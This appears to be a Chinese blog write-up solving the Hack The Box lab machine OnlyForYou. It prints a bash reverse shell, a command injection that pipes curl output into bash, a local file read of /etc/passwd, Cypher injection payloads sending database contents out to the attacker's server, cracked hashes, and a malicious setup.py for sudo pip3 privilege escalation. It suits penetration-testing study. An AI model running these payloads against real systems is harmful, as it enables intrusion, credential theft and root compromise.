HTB靶场之OnlyForYou
准备:
攻击机:虚拟机kali。
靶机:OnlyForYou,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/OnlyForYou。
知识点:DNS解析、代码审计、文件包含、shell反弹、frp端口转发、Neo4j注入漏洞、ngnix知识了解、md5解密、pip3 download提权。
简单的记录下通过的过程也是帮助自己梳理下整个流程:

一:信息收集
1.nmap扫描
使用nmap对端口进行扫描,命令:sudo nmap --min-rate 10000 -p- 10.10.11.210,显示开放了22端口、80端口,开启了ssh服务、http服务。

对具体的服务信息进行扫描,未发现可以利用的信息,命令:sudo nmap -sT -sV -O -p 22,80,443 10.10.11.210。

2.DNS解析
请求:http://10.10.11.210,访问下WEB服务,发现跳转到了http://only4you.htb/,因此我们需要进行下DNS解析,在/etc/hosts文件中写入:10.10.11.210 only4you.htb。

二:WEB信息分析
1.源码信息
在http://only4you.htb页面的TEAM处发现一个beta产品,访问该产品时跳转到了http://beta.only4you.htb/,因此重复DNS解析将其添加到/etc/hosts文件中。

该页面给我们提供了源码下载,将源码下载下来进行分析,发现对..与../进行了过滤,最后会返回image文件的内容,因此这里应该是存在文件包含漏洞。除了源码外还有resize、convert功能,前者是上传图片并调整大小,后者是jpg与png相互转换。

在http://beta.only4you.htb/页面抓取数据包修改请求方式为POST,修改后数据包信息如下,发送该数据包成功获得/etc/passwd文件的内容,发现可能存在账户john、neo4j、dev。
POST数据包
POST /download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
image=/etc/passwd

2.文件包含漏洞
前面在nmap扫描时已经发现在80端口开启了nginx服务,因此我们读取下nginx的配置文件,发现三个文件和一个目录:/var/log/nginx/access.log、/var/log/nginx/error.log、/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*。

依次查看下几个文件,/var/log/nginx/access.log文件中存放的是我们的访问日志,访问/var/log/nginx/error.log时未返回有用信息,/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*会被拦截。后面查了下nginx配置,在/etc/nginx/sites-enabled/default文件中发现网站的绝对路径:/var/www/only4you.htb/。

尝试请求下网站目录下的文件:app.py,发现form文件,这里注意下:status = sendmessage(email, subject, message, ip)。

读取下form文件,发现存在一个run命令,执行了邮箱名称@之后的内容。因此这里应该是存在一个命令执行漏洞。


三:获取www-data权限shell
后面尝试进行命令执行发现返回信息一直是未授权,就又对源码分析了一波,发现是因为status返回值为1,返回值为1是因为对上面图片中返回的result验证未通过,后来思考了以下,虽然验证未通过但是既然返回了result那肯定是执行过命令了,因此我们尝试直接进行shell反弹。步骤如下:
1.在kali中写一个shell反弹文件shell.sh,内容:bash -i >& /dev/tcp/10.10.14.18/6688 0>&1。
2.在kali开启一个web服务,命令:python -m http.server。
3.在抓取的数据包中修改post数据为:name=upfine&email=q@qq.com;curl 10.10.14.18:8000/shell.sh | bash&subject=112345&message=1asdf,然后发送此请求,成功获得shell权限。

四:获取john权限shell
1.端口转发
在www-data权限的shell中经过一番查询只确定了账户名称:john、dev,未发现和密码有关的信息,然后在查询端口时发现存在几个开放的端口:3000、8001、3306、7474、7687等端口。

使用frp将这几个端口的流量转到到kali中,注意服务端与客户端不要用反了,靶机用的是客户端,可以参考我的这边文章:https://www.cnblogs.com/upfine/p/17266632.html。几个端口的访问情况依次如下:

2.Neo4j注入漏洞
在8001端口的登录框进行登录时发现使用:admin/admin可以成功登录。在该服务中的EMPLOYEES中发现存在搜索功能,猜测可能存在注入漏洞。

请求7474端口的时候未返回页面信息,但是frp中先是的信息已被占用,因此猜测应该是数据库类的服务在后端占用,观察请求页面,虽然未返回信息,但是标签上告诉了我们是neo4j。查了下neo4j的介绍,发现是一个高性能的NOSQL图形数据库,前面我们猜测正确。

那就找下neo4j的注入方法:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections。先尝试获取下版本号,发现确实存在注入漏洞。
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.18:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

然后获取下表中的节点信息,语句:1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.18:8000/?label='+label as l RETURN 0 as _0 //,获得节点user、employee。

然后查询下user节点的值,语句:1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.18:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //,获得两个加密的密码值:
#解密前
admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
#解密后
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You


3.获取john权限shell
使用获得账户和密码:john/ThisIs4You进行ssh登录,成功获得shell权限并读取到第一个flag。

五:提权
查看下当前账户是否存在可以使用的特权命令,sudo -l,发现:/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz,意思是允许john用户使用pip3 download 3000端口的压缩文件。

查找下该情况的提权方式,在这里:https://github.com/wunderwuzzi23/this_is_fine_wuzzi.git下载demo文件,然后修改setup.py文件,在该目录执行:python3 -m build,执行完之后会在生成一个dist目录,该目录下存在一个this_is_fine_wuzzi-0.0.1.tar.gz文件,即是我们需要的文件。
setup.py
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
def RunCommand():
os.system("chmod +s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)

使用john/ThisIs4You登录3000端口的Gogs服务进行查看,但是Test仓库显示是有锁的需要认证,那首先就需要对其进行解锁设置,然后将文件进行上传。


上传文件后切执行:sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/src/master/this_is_fine_wuzzi-0.0.1.tar.gz,然后执行bash -p即可获得root权限并在root目录下获取到flag值。

HTB靶场之OnlyForYou的更多相关文章
- 【HTB靶场系列】靶机Carrier的渗透测试
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day2 - XSS跨站实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day3 - CSRF实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
- [红日安全]Web安全Day4 - SSRF实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
- [红日安全]Web安全Day5 - 任意文件上传实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
- [红日安全]Web安全Day8 - XXE实战攻防
本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...
- [红日安全]Web安全Day9 - 文件下载漏洞实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
- [红日安全]Web安全Day12 – 会话安全实战攻防
本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...
- 【HTB系列】靶机Access的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
随机推荐
- 笔记十:线程间的通信(pthread_exit()和pthread_join())
linux高级编程之线程间的通信(pthread_exit()和pthread_join()) 1.线程终止 如果进程中的任一线程调用了exit._Exit或者_exit,那么整个进程就会终 ...
- 新概念英语(New Concept English),前言
本书向读者提供了一套完整的,经过实践检验的英语学习体系,使得学生能够发挥自己的最大潜能. 听力 口语 阅读 写作 学习语言不在于掌握一套规则和积累大量词汇. 而在于如何运用所学的知识. 学习单词,必须 ...
- 如何使用jsDelivr+Github 实现免费CDN加速?
目录 序言 1 cdn简介 2 cdn请求分发原理 3 jsDelivr简介 4.jsDelivr 的简单使用 5 jsDelivr + Github 的具体实现 5.1 新建Github仓库 5.2 ...
- 2020-09-18:LRU手撸,说下时间复杂度和空间复杂度。
福哥答案2020-09-18: 方法:哈希表 + 双向链表.时间复杂度:对于 put 和 get 都是 O(1).空间复杂度:O(capacity),因为哈希表和双向链表最多存储 capacity+1 ...
- 2020-11-22:mysql中,什么是filesort?
福哥答案2020-11-22:[答案来自此链接:](http://bbs.xiangxueketang.cn/question/412)如果mysql在排序的时候没有使用到索引那么就会输出 using ...
- npm install报错node-sass@7.0.1 postinstall: `node scripts/build.js`
在控制台执行 即可 npm config set sass_binary_site=https://npm.taobao.org/mirrors/node-sass
- Github Copilot Chat 初体验
最近因为阳了的缘故一直躺在床上.今天终于从床上爬起来了.不是因为好透了,而是因为我收到了申请Copilot Chat preview 权限通过的邮件.实在忍不住,于是起床开电脑在咳嗽声中进行了一番体验 ...
- 痞子衡嵌入式:MCUBootUtility v5.0发布,初步支持i.MXRT1180
-- 痞子衡维护的NXP-MCUBootUtility工具距离上一个大版本(v4.0.0)发布过去4个多月了,期间痞子衡也做过两个小版本更新,但不足以单独介绍.这一次痞子衡为大家带来了全新大版本v5. ...
- 在C++中,传值还是传引用?
情况一:需要修改原对象 需要修改原对象的情况,必须要传引用.这种情况没什么要说的. 情况二:不需要修改原对象 对于内置类型(整数.浮点数.字符类型等),传值效率更高.主要有三点原因: 内存开销更小.由 ...
- Blazor HyBrid 授权讲解
Blazor HyBrid 授权讲解 本文介绍 ASP.NET Core 对 Blazor Hybrid 应用中的安全配置和管理及 ASP.NET Core Identity 的支持. Blazor ...